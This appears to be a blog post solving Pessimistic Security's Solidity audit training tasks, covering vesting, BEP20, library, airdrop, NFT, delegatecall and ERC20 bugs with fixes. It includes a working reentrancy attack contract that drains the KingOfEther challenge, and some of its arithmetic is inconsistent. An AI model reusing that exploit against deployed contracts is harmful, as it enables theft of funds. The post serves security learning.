Table of Contents
Hello all, I found some cool solidity security tasks created by Pessimistic Security contributed by @korepkorep and @PavelCore. These challenges looks interesting to me, I solved all of them and you can find my solutions to them below.
Pessimistic Security Tasks Repo : Tasks
My solution Repo : Will Push Soon
Vesting
Description
Vesting contract implements a Token Vesting Pattern. Token Vesting is the process in which purchased tokens are locked and released slowly over time. Particularly this Vesting contract follows the cliff vesting. Which means the tokens will be locked for the cliff duration and after cliff duration the tokens will be released linearly. The Vesting contracts initializes the token, cliffMonthDuration, vestingMonthDuration, accounts and amounts to be locked. To release tokens release() is called. The tokens will only be released after the cliff duration has been passed. If the cliff duration passed the amountByMonth is calculated and the releaseAmount is calculated for the total months from the star time. The released amount will be transfered to the caller of release() function.
Vulnerabilities
The main vulnerability is that the tokens sent to the Vesting contract are locked forever. This is because the incorrect calculation of the amountByMonth.
uint256 amountByMonth = vestingInfo.locked / (vestingDuration + cliffDuration);
Lets say, the cliffMonthDuration = 2 and vestingMonthDuration = 5 and tokens sent are 1000.
vestingDuration + cliffDuration = (2 * 4 weeks) + (5 * 4 weeks) = 16934400
amountByMonth = 1000 / 1693440, This result 0 in solidity. So, our tokens wont be released unless the total tokens sent are greater than 1693440. That too, we will get very less amount for each month.
Attack POC
POC to catch the vulnerability :
    // Before modification
    function test_vesting() public{
        console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
        console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
        vm.startPrank(address(1));
        vm.warp(vest.startTimestamp() + 2*4 weeks + 1);
        vm.expectRevert();
        vest.release();
        vm.stopPrank();
        console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
        console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
    }
Recommendation
To fix the bug, we need to calculate the amountByMonth by dividing the (vestingDuration + cliffDuration) by 4 weeks.
uint256 amountByMonth = vestingInfo.locked / ((vestingDuration + cliffDuration) / 4 weeks );
What this does is, it ensures to calculate the amout for one month, instead of calculating for the huge number of seconds.
Corrected Code :
// This code snippet is provided by Pessimistic company.
// To apply for the internship opportunity at Pessimistic company,
// please fill out the form by visiting the following link: https://forms.gle/SUTcGi8X86yNoFnG7
// Caution: This code is intended for educational purposes only
// and should not be used in production environments.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Vesting {
    event TokenReleased(
        address indexed account,
        address indexed token,
        uint256 amount
    );
    struct Info {
        uint256 locked;
        uint256 released;
    }
    address public immutable token;
    uint256 public immutable startTimestamp;
    uint256 internal cliffDuration;
    uint256 internal vestingDuration;
    mapping(address => Info) internal _vesting;
    /**
     * @notice constructor
     * @param token_ - token address
     * @param cliffMonthDuration - cliff duration in months
     * @param vestingMonthDuration - vesting duration in months
     * @param accounts - vesting accounts
     * @param amounts - vesting amounts of accounts
     **/
    constructor(
        address token_,
        uint256 cliffMonthDuration,
        uint256 vestingMonthDuration,
        address[] memory accounts,
        uint256[] memory amounts
    ) {
        startTimestamp = uint64(block.timestamp);
        token = token_;
        cliffDuration = cliffMonthDuration * 4 weeks;
        vestingDuration = vestingMonthDuration * 4 weeks;
        for (uint256 i = 0; i < accounts.length; i++) {
            _vesting[accounts[i]] = Info({locked: amounts[i], released: 0});
        }
    }
    function release() external {
        //add history by block
        address sender = msg.sender;
        require(
            block.timestamp > startTimestamp + cliffDuration,
            "cliff period has not ended yet."
        );
        Info storage vestingInfo = _vesting[sender];
-       uint256 amountByMonth = vestingInfo.locked / (vestingDuration + cliffDuration);
+       uint256 amountByMonth = vestingInfo.locked / ((vestingDuration + cliffDuration)/ 4 weeks);
        uint256 releaseAmount = ((block.timestamp - startTimestamp) / 4 weeks) *
            amountByMonth -
            vestingInfo.released;
        require(releaseAmount > 0, "not enough release amount.");
        vestingInfo.released += releaseAmount;
        SafeERC20.safeTransfer(IERC20(token), sender, releaseAmount);
    }
}
POC To ensure secure code :
    // After fixing bug
    function test_vestingFixed() public{
        console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
        console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
        vm.startPrank(address(1));
        vm.warp(vest.startTimestamp() + 2*4 weeks + 1);
        vest.release();
        vm.stopPrank();
        console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
        console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
    }
Vulnerable BEP20
Description
BEP20 basically refers to a token standard used for creating tokens on Binance Smart Chain, just like ERC20 for creating tokens on Ethereum. BEP20 have many similarities with the ERC20 token standard. To interact with the BSC blockchain, a token based on the BEP-20 standard, BNB, is required to pay for transactions, just like Ether is used to pay for gas fees in the Ethereum blockchain. In fact, the BEP-20 standard is an extension of the ERC–20 standard on Ethereum.
Observations
BEP20.sol file consists of a IBEP20 interface, Context contract, SafeMath library, Ownable contract, BEP20Token contract. BEP20Token contract inherits the all the contracts and interface.
- It has two mappings _balancesand_allowancessimilar to ERC20
- BEP20 token has the name,symbol,totalSupply,decimals.
- The totalSupply is 1000000000000000 * 1e18will be minted to the contract deployer.
- balanceOf()and- allowance()returns the balances, allowances respectively.
- It has approve()andtransferFrom()functions similar to ERC20.
- increaseAllowances()and- decreaseAllowances()were used to change the allowances securely.
- mint()and- burn()functions were implemented.
- burnFrom()function is appeared which is not in ERC20
- In Ownablecontract CEI are not followed. Events were emitted before effects.
Differences from Standard BEP20
- Transferevent was not emitted inside the constructor, were the deployer gets the totalSupply amount of tokens.
- No getOwner()function is implemented. Which is necessary as per the standard.
- Burning a token emits an event Burn(). Which is not the standard event.
- After burning a token, the _burn()should emit an eventTransfer(account, address(0), amount);
- burnFrom()function is defined. Which not necessary and not mentioned in standard.
Recommendations
- Implement getOwner()function which is necessary as per standard.
- Remove Burnevent, replace this withTransferevent.
- Use mint()function instead of direct update of balance of owner inside constructor.
- Use increaseAllowances()anddecreaseAllowances()to change allowances instead ofapprove().
Libraries
Description
A library in Solidity is a different type of smart contract that contains reusable code. Once deployed on the blockchain (only once), it is assigned a specific address and its properties / methods can be reused many times by other contracts in the Ethereum network.
Observations
- The CountersUpgradeable and EnumerableSetUpgradeable are removed by the OpenZeppelin, they are no more accessible.
- We can use a storage variable as counter instead of CountersUpgradeable contract, because the arithmetic checks were done by the solidity compiler 0.8.x
- I have manually added these two contracts to keep the challenge as it is.
- The Libraries.solconsists of two library contractsItemsandPlacements.
- The Itemslibrary have two structsItemIdandItem. TheItemslibrary functions can be called onItemIdstruct. (using Items for ItemId).
- Placementlibrary have two structs- Placementsand- Registry
- CountersUpgradeable functions can be called on CountersUpgradeable.Counterand Items functions can be calleable onItems.Item
- An abstract contract ManageStoragealso defined.
Questions
- How is the _placementRegistry from the ManagerStorage contract initialized? (Write a mini-contract with 3 variants of initialization. For instance, you can design it as 3 functions). - _placementRegistryis an instance of struct- Placements.Registry. That is the- Registrystruct inside- Placementslibrary.
- placementRegisrtyis not initialized inside ManagerStorage.
- Structs with nested mappings can't be directly constructed. i.e, we cannot use Placements.Registry({})initialization method.
- This is because since version 0.7.0, structs or arrays that contain a mapping can only be used in storage, so Solidity complains because variables in an instantiation function would be in memory by default.
 - contract Manager is ManagerStorage{ constructor(){ _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); } function initialize() public { _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); } function initializeX(Placements.Placement memory placement) public { _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); uint placementId = Placements.register(_placementRegistry, placement); } }
- Are the items at line 73 in the Placements contract added correctly? Why? (Give a detailed explanation). - The items were added to placementRecorditems correctly. But theplacementIdin line 66 is not defined. This should the the current counter value after increment on Counter.
 - function register(Registry storage self, Placement memory placement) external returns (uint256 placementId) { self.placementIdTracker.increment(); + placementId = self.placementIdTracker.current(); Placement storage placementRecord = self.placements[placementId]; placementRecord.sender = placement.sender; placementRecord.beneficiary = placement.beneficiary; placementRecord.deadline = placement.deadline; for (uint256 i = 0; i < placement.items.length; i++) { placementRecord.items.push(placement.items[i]); placement.items[i].deposit(placement.fee); } }- The placementRecordis thePlacementstruct. i.e,self.placements[placementId]is points to the mapping insideRegistrystruct which gets thePlacementstruct from placementId.
- placementRecordwas updated with sender, beneficiary and deadline.
- Then for loop fetches each Item struct from the array of Item structs. They will be pushed to the placementRecord.itemswhich is an array of Item structs.
- Then deposit()is called on theplacement.items[i]which is a Item struct. We can seeusing Items for Items.Item;this enabledeposit()to be called on the Item struct.
 
- The items were added to 
- What is the purpose of using Items for ItemtId in Items library? (Give an extended explanation and specify the line in the code). - By using Items for ItemId, the ItemId struct gains access to functions defined within the Items library. This extends the functionality of the ItemId struct without directly modifying its definition.
- By extending ItemIdwith the Items library, functions like token and hash become directly accessible to instances of ItemId.
- In line 40 address itemToken = item.id.token();is used to fetch theitemToken.
- The token()function is available to call onitem.idwhich is nothing but theItemIdinstance.
 
- By 
- How is the placement fee deducted? Who is it paid from and to whom? How are msg.sender and address(this) changed with each external call? (Give a detailed explanation) - The registration can be done by using this contract,
 - contract Manager is ManagerStorage{ function registerPlacement(Placements.Placement memory placement) public returns (uint256 placementId) { placementId = Placements.register(_placementRegistry, placement); } }- Manager contract will takes the Placement struct and calls the register()function of librarPlacements.
- The first paramenter is the Registrystruct and the second one isPlacementsstruct.
- The feeamount oftokenwill be paid frommsg.senderto theManagercontract.
- The msg.senderwill always the caller of theregisterPlacement()function. And thethiswill be the address ofManager()contract.
- This is because when calling public or external functions of libraries, DELEGATECALLwill be made to the library.
- What delegatecall does is, it maintains the context of call. That is the msg.sender. So, everytime theregister()function of Placement library is called, themsg.senderwill be the actual caller of theregisterPlacement()function.
 
Vulnerabilities
- The system id vulnerable, in such a that it can accept any tokens, An attacker could deploy a fake token and can register the placement.
- Attacker could even DOS the protocol by passing huge number of items array.
Airdrop
Description
The Airdrop contract implements a Merkle tree for ERC20 pull-based airdrops. Merkle trees used in airdrops , since Merkle proofs allow us to very efficiently implement ERC20 token airdrops. The implementation simple using Openzeppelin MerkleProof library. The Airdrop contract imports MerkleProof and SafeERC20 contracts. It stores token address and merkleroot. And implements a claim() function for users to pass their merkleproof and amount to claim their tokens.
Vulnerabilities
- First of all, the initial check - require(_erc20.balanceOf(msg.sender) == 0);stops users claiming their tokens even if they haven't claimed it before.
- An attacker can claim his tokens initially and sends at least - 1token to the other user, in this case the user cannot claim their tokens.
- So, this is not an efficient check to find the user already claimed the tokens or not. 
- Instead we can keep a mapping to check the claim status of the users. 
- And the verification process also incorrectly finding the node. 
- keccak256(abi.encode(msg.sender))is the node being verified. But this is not the correct way to check, it should include the- amount.
- Also, as per OpenZeppelin docs it is suggested to use the following line to extract the leaf node. - bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(addr, amount))));
- And check the balance of the Airdrop contract. 
- Fixed code : - // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; contract Airdrop { using MerkleProof for bytes32[]; using SafeERC20 for IERC20; bytes32 private _merkleTreeRoot; IERC20 private _erc20; mapping (address => bool) private isClaimed; event Claim(address indexed who, uint256 amount); constructor(IERC20 erc20, bytes32 merkleTreeRoot) { _erc20 = erc20; _merkleTreeRoot = merkleTreeRoot; } function claim(uint256 amount, bytes32[] calldata proof) external { require(!isClaimed[msg.sender], "Already claimed"); require(amount <= _erc20.balanceOf(address(this)), "Out of tokens" ); bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(msg.sender, amount)))); //bytes32 leaf = keccak256(abi.encode(msg.sender, amount)); // this will also works require(proof.verify(_merkleTreeRoot, leaf), "User was not found"); isClaimed[msg.sender] = true; _erc20.safeTransfer(msg.sender, amount); emit Claim(msg.sender, amount); } }
NFT
Description & Observations
First of all the NFT.sol uses the compiler version ^0.8.2. It imported many external openzeppelin library contracts. The IERC2981Royalties, IRoyaltiesProvider, RoyaltiesV2 interfaces, ERC2981Base, AbstractRoyalties abstract contracts, LibPart, LibRoyaltiesV2, libraries and NFT contract were defined. It uses role based access control on functions. At an high level the NFT contracts implements an ERC721 token standard.
Configuration
- To install dependencies of NFT.sol run following command. - npm i @openzeppelin/contracts@4.9.0-rc.0 --save-dev
- Install - solc-selectand- 0.8.2solc version- pip3 install solc-select- solc-select install 0.8.2- solc-select use 0.8.2
- Run slither - slither . --solc-disable-warnings --exclude-informational
Slither Output & Validation
- [HIGH] Nft.withdraw() (src/NFT/NFT.sol#328-332) sends eth to arbitrary user. - The vulnerability is because of unprotected call to a function sending Ether to an arbitrary address. - /// @dev owner can withdraw Ether sent to the contract function withdraw() public onlyRole(CEO) { uint256 balance = address(this).balance; require(balance != 0); payable(msg.sender).transfer(balance); }
- The - withdraw()function should send the contract balance to the- owner. Here, the balance was sent to the- msg.sender.
- Only callers who have the - CEOrole can call the- withdraw()function.
- The - CEOrole was assigned to the contract deployer. The actual owner is also the contract deployer.
- So, - msg.senderwill be the- owneror- CEO.
- If any unwanted bypass has been done to the - onlyRole(CEO), the funds will be lost.
- Its recommended to send the balance to the - ownerinstead of- msg.sender.- /// @dev owner can withdraw Ether sent to the contract function withdraw() public onlyRole(CEO) { uint256 balance = address(this).balance; require(balance != 0); - payable(msg.sender).transfer(balance); + payable(owner).transfer(balance); }
 
- [HIGH] Nft.tokenURI(uint256) (src/NFT/NFT.sol#235-243) calls abi.encodePacked() with multiple dynamic arguments. - The vulnerability is a collision due to dynamic type usages in abi.encodePacked 
- As the solidity docs describe, two or more dynamic types are passed to abi.encodePacked. Moreover, these dynamic values are user-specified function arguments in external functions, meaning anyone can directly specify the value of these arguments when calling the function. - function tokenURI(uint256 _tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { string memory _str = Strings.toString(_tokenId); return string(abi.encodePacked(baseUri, _str, suffix)); }
- Here the vulnerability has no effect, because the abi.encodePacked is not dealing with user specifed dynamic inputs. 
- But, it missing a minor check of the - baseUrilength.- return baseUri.length > 0 ? string(abi.encodePacked(baseUri, _str, suffix)): "" ;
- The usage of the - abi.encodePackedbecomes vulnerable in the case of hash verification.
- If you use - keccak256(abi.encodePacked(a, b))and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts of- ainto- band vice-versa.
- More specifically, - abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c").
 
- [MEDIUM] Reentrancy in Nft.summon(address,uint256) (src/NFT/NFT.sol#189-220) - Slither found this as vulnerability because the state variable updates were done after the external calls. 
- The external calls was done on a token functions, they are not the low level - call's.
- There is no high severity in this vulnerability because, the - transferFromfunction doesnt invoke any fallback of the caller.
- However attacker could write a malicious ERC-20 with custom transferFrom() or approve() that have re-entrancy hooks to attack a target. 
- To do this, attacker has to update the - utilityTokenor- governanceTokenaddress. This can only done by the users with role- CLEVEL
- To mitigate these possible attacks we can follow the CEI pattern. - function summon(address _to, uint256 _tokenId) external whenNotPaused payable { require(summoningEnabled, 'Summoning is currently disabled'); require(_exists(_tokenId), 'Token does not exist'); require(ownerOf(_tokenId) == msg.sender, 'Sender is not the token owner'); require(items[_tokenId].lastSummoned + summoningLock < block.timestamp, 'Need to wait to summon'); require(items[_tokenId].summonCount < maxSummoningCount, 'Exceeded Summoning Count'); uint256 utilitySummoningFee = summoningCosts[utilityToken][items[_tokenId].summonCount]; uint256 governanceSummoningFee = summoningCosts[governanceToken][items[_tokenId].summonCount]; // Push a summoned token to the items array items.push(Item(block.timestamp, 0, 0, _tokenId, true)); items[_tokenId].summonCount++; items[_tokenId].lastSummoned = block.timestamp; if(utilitySummoningFee > 0) { require(ERC20(address(utilityToken)).transferFrom(msg.sender, address(this), utilitySummoningFee), "Transfer failed"); } if(governanceSummoningFee > 0) { require(ERC20(address(governanceToken)).transferFrom(msg.sender, address(this), governanceSummoningFee), "Transfer failed"); } // Mint the new summoned token uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(_to, tokenId); emit Summoned(msg.sender, _to, tokenId); }
 
- [LOW] Nft.royaltyInfo(uint256,uint256).royalties (src/NFT/NFT.sol#356) shadows - This is a variable shadowing vulnerability
- royaltiesvariable in- AbstractRoyaltiesin line 85 is being shadowed by the- royaltiesvariable at line 356.
 
- [LOW] Nft.updateUtilityAddress(address)._address (src/NFT/NFT.sol#278) lacks a zero-check on - Lack of zero address check of _addressinupdateUtilityAddress()function.
 
- Lack of zero address check of 
- [LOW] Nft.updateGovernanceAddress(address)._address (src/NFT/NFT.sol#284) lacks a zero-check on - Lack of zero address check of _addressinupdateGovernanceAddress()function.
 
- Lack of zero address check of 
- [LOW] Nft.setOwner(address)._owner (src/NFT/NFT.sol#316) lacks a zero-check on - Zero address check has to be done when updating new ownerinsetOwner()function.
 
- Zero address check has to be done when updating new 
- [LOW] Nft.updateRoyaltyAddress(address)._address (src/NFT/NFT.sol#363) lacks a zero-check on - No zero address check of new royalty address in updateRoyaltyAddress.
 
- No zero address check of new royalty address in 
- [LOW] Reentrancy in Nft.safeMint(address) (src/NFT/NFT.sol#181-187) - Again slither marking this as a reentrancy, because the sate variable updation was done after the external call. 
- Update the function as follows - function safeMint(address _to) public whenNotPaused onlyRole(CLEVEL) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); items.push(Item(block.timestamp, 0, 0, 0, false)); _safeMint(_to, tokenId); emit AdminMinted(msg.sender, _to, tokenId); }
 
- [LOW] Nft.summon(address,uint256) (src/NFT/NFT.sol#189-220) uses timestamp for comparisons. - The usage of block.timestampfor deadline check can be exploited by the malicious validators.
- This offers no protection as block.timestampwill have the value of whichever block the txn is inserted into, hence the txn can be held indefinitely by malicious validators.
 
- The usage of 
Foundry Task
Description
The PriceGetter contract is designed to fetch the price conversion rate from DAI to USDC using Uniswap V3's price oracle. Contract have dai and usdc token addresses on arbitrum and Time Weighted Average Price (TWAP) as 1800. The daiToUsdc() function calculates and returns the amount of USDC equivalent to a given amount of DAI.
To install dependencies :
    $ forge install uniswap/v3-core --no-commit
    $ forge install uniswap/v3-periphery --no-commit
Initial Test Results :
mj0ln1r@Linux:~/internship-tasks/Foundry task$ forge test -vv --fork-url https://rpc.ankr.com/arbitrum 
[⠑] Compiling...
No files changed, compilation skipped
Running 1 test for test/PriceGetter.t.sol:PriceGetterTest
[FAIL. Reason: assertion failed] test_DaiToWant() (gas: 88731)
Logs:
  Error: a < b not satisfied [uint]
    Value a: 1000497454863863263864864160056
    Value b: 1100000
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 14.88s
 
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/PriceGetter.t.sol:PriceGetterTest
[FAIL. Reason: assertion failed] test_DaiToWant() (gas: 88731)
Encountered a total of 1 failing tests, 0 tests succeeded
Reason of test fail
The price range of the DAI/USDC pool is always lies between 0.9 to 1.1. This is because DAI and USDC are both stablecoins, which are designed to maintain a value close to 1 USD. The range of 0.9 to 1.1 is chosen to accommodate minor fluctuations in the price of these stablecoins. If the price of DAI/USDC falls outside this range, LPs may choose to remove their liquidity to avoid potential losses.
- The - assertGt(price, 9 * 10 ** (usdcDecimals - 1))and- assertLt(price, 11 * 10 ** (usdcDecimals - 1))lines are assertions to verify that the fetched price is within the expected range.
- That is the fetched prize should be between, - 900000and- 1100000.
- The price we result is in high precision. We can round the price in terms of - usdcby dividing the price with- 10**(usdcDecimals + daiDecimals)- function test_DaiToWant() public { uint256 price= priceGetter.daiToUsdc(10 ** daiDecimals); price = price/ 10**(usdcDecimals + daiDecimals); assertGt(price, 9 * 10 ** (usdcDecimals - 1)); // price > 0.9$ assertLt(price, 11 * 10 ** (usdcDecimals - 1)); // price < 1.1$ }
- We can also calculate the - priceby the formula- 1.0001 ** tick
- Then the result can be divided by - 10**6to get the price in- USDC.
- The above updated test will pass and it ensures the price of usdc is between 0.9 to 1.1. 
mj0ln1r@AHLinux:~/internship-tasks/Foundry task$ forge test -vv --fork-url https://rpc.ankr.com/arbitrum
[⠑] Compiling...
No files changed, compilation skipped
Running 1 test for test/PriceGetter.t.sol:PriceGetterTest
[PASS] test_DaiToWant() (gas: 23487)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.27s
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Delegatecall
Description
The DelegateCall.sol consists of four contract Manager, MetaHub, Vault and Controller. Two interfaces which are used to interact with MetaHub and Controller. One Assets library is defined. These contracts makes a complex calls and delegatecalls.
Questions
- Which contract is the entry point? - The entry point of this contract chain is the Managercontract.
- The deposit()function in theManagercontract is the starting point for this contract interaction. When a user calls the deposit function with a specific tokenId, it triggers a call to the deposit function in theMetahubcontract and the chain continues.
 
- The entry point of this contract chain is the 
- Where in the code is the - onERC721Receivedfunction from Vault called? You need to write out the call chain.Where in the code is the- onERC721Receivedfunction from Vault called? You need to write out the call chain.- The onERC721Receivedfunctionis defined insideVaultcontract, but it was not called directly.
- When we call deposit()function inManagerwith a tokenId, it will call thedeposit()function of theMetaHubcontract.
- The MetaHubcontract now calls thetransferAssetToVault()function onAssetslibrary.
- Then the Assetslibrary will make adelegatecallto thetransferAssetToVault()on theControllercontract.
- The Controllercontract will call the internal_transferAsset()function.
- The _transferAsset()function will now calls thetransferFrom()function ofERC721contract with thetovalue as theVaultaddress.
- Finally, when the asset sent to the VaulttheonERC721Received()will be invoked.
- NOTE: In openzeppelin ERC721 contract the onERC721Received()onlycalled if we sent asset usingsafeTransferFrom().
- Tx chain : Manager -> MetaHub -> Assets -> Controller -> ERC721 -> Vault.onERC721Received().
 
- The 
- What are - address(this)and- msg.senderequal to when Controller.transferAssetToVault is called?- The address(this)will be theMetaHubandmsg.senderwill beMetahub.
- Controller.transferAssetToVault()is called by the- Assetslibrary through- delegatecall. i.e,- msg.sender,- address(this)will be maintained from the- Assets.
- Assets.transferAssetToVault()is called by the- MetHub.deposit()with- delegatecallbecause the call is to a library.
- So, the msg.senderandaddress(this)atAssets.transferAssetToVault()same as values atController.transferAssetToVault().
 
- The 
- Will - requireof modifier- whenAssetDepositAllowed(Vault contract) be reverted or not? Why?- The - requirewill not reverted, because the- operatoris the- _metahubaddress.
- operatoris the- msg.senderinside the ERC721 contract.- try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval)
- _msgSender()is the operator that passed to- onERC721Received().
- msg.senderin ERC721 is the- Metahubcontract address. Because the Metahub delegatecalls Controller function which calls the ERC721 contract.
 
- Will modifier - onlyDelegatecallfrom Controller contract correctly work out? Why?- onlyDelegatecallmodifier is working properly.- modifier onlyDelegatecall() { if (address(this) == __self) revert FunctionMustBeCalledThroughDelegatecall(); _; }
- address(this)when a delegatecall was made from- Assetslibrary will be the- address(this)inside the- Assets.
- So, the - address(this)at- onlyDelegatecallmodifier will be the address of- MetaHub.
- If the - address(this)is same as the- __selfthat means no delegatecall was made. So, the modifier will revert.
 
- How many contracts are being deployed? Which ones? - Manager, Vault, Controller, MetaHub and already deployed Token contract.
 
King of the Ether
Description
The KingOfEther contract is implemented in the way that it is mentioned. Every user is able to send ether to the contracts unti the game is on. The one who stakes most will be the king and he will get 1 ether extra as a reward. And every users will be able to withdraw funds once the game is over.
KingsOfEther
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract KingOfEther{
    address public owner;
    address public king;
    bool public isGameOver;
    uint public startingTime;
    mapping (address => uint) public stakes;
    event King(address, uint);
    constructor() payable {
        require(msg.value == 1 ether, "Send 1 ether on deployment");
        startingTime = block.timestamp;
        owner = msg.sender;
        isGameOver = false;
    }
    function depositStake() public payable {
        require(msg.value > 0, "0 Amount not valid");
        require(!isGameOver, "Game ended");
        stakes[msg.sender] += msg.value;
        if(stakes[msg.sender] > stakes[king]){
            king = msg.sender;
            emit King(king, stakes[king]);
        }
    }
    function endGame() public {
        require(block.timestamp > startingTime + 30, "Can't end now");
        require(!isGameOver, "Alredy ended");
        stakes[king] += 1 ether;
        isGameOver = true;
    }
    function withdraw() public {
        require(isGameOver, "Game not ended");
        require(stakes[msg.sender] > 0, "You have no stakes");
        (bool success, ) = msg.sender.call{value: stakes[msg.sender]}("");
        require(success, "Withdraw Failed");
        stakes[msg.sender] = 0;
    }
}
```
- The - withdraw()function is vulnerable to Reentrancy as it makes external call before updating the stake value.
- The - AttackKingcontract will exploit the KingOfEther and drains all the ether.- contract AttackKing{ KingOfEther public kingContract; constructor(address _kingContract) { kingContract = KingOfEther(_kingContract); } function deposit() public payable { kingContract.depositStake{value: 1 ether}(); } function exploit() public { require(block.timestamp > kingContract.startingTime()+30, "Wait to exploit"); if(!kingContract.isGameOver()){ kingContract.endGame(); } kingContract.withdraw(); } receive() external payable { if(address(kingContract).balance >= 1 ether){ kingContract.withdraw(); } } }
- Call - deposit()first then call- exploit()to attack the- KingOfEther.
Vulnerable ERC20
Description
ERC20 is a fungible token standard came from EIP20. ERC20 Tokens are widely used fungible tokens in ethereum. The ERC20 token must implement the necessary functions mentioned in the EIP20 proposal.
Observations
- The ERC20.sol file consists of a SafeMathlibrary and aERC20contract.
- ERC20contract uses SafeMath library on the uint256 instances.
- It has basic state variables name, total_supply, symbol, decimals which are required for a ERC20 token.
- It uses two mappings _balancesandallowancesto keep track balances of user and allowances of a user.
- balanceOf()function returns the token balance of an address and- allowance()returns approval amount of tokens by the owner to the spender.
- transfer()function transfers the tokens between addresses. And emits- Transferevent on transfer.
- approve()function approves a spender to spend owner tokens. Emits- Approveevent on approval.
- transferFrom()used to transfer the tokens on behalf of the token owner by the spender.
Differences from Standard ERC20
- Vulnerable ERC20 enables custom decimal places, while many ERC20 tokens follows the standard 18 decimals.
- Owner will get the the totalSupplyof token balance after deploying the token.
- approve()function not checking the- toaddress. (Missing zero address check).
- transfer()function is not following the standard ERC20 pattern.
- Transferring tokens from one address to other address will transfer 6%of tokens to theowner.
- The Transferevent only emits with the actualfromandtoandamount.
- Transferevent not emitted with the fee tokens sent to the- owner.
- Also emitted token amount is the amount that user wants to send. Not the actual amount that being sent (minus comission).
- TransferFrom()function not checking for the allowed allowances, this not result in any token loss but overflow will occur if the amount passed to the TransferFrom is greater than the actual allowance
- All the functions are publicby default in standard ERC20.
Vulnerabilities & Recommendations
- approve()allows the spender account using a given number of tokens by updating the value of allowance.
- Suppose the spender account is able to control miners' confirming order of transferring, then spender could use up all allowance before approve comes into effect.
- After approve() is effective, spender has access to the new allowance, causing total tokens spent greater than expected and resulting in Re-approve attack.
- Using increaseApprove()anddecreaseApprove()functions are the recommendatios for it.
- Recommended to declare state variables private and use implement public functions to read them.
- Its recommended to inherit OpenZeppelin ERC20 contract to use.
Thank you !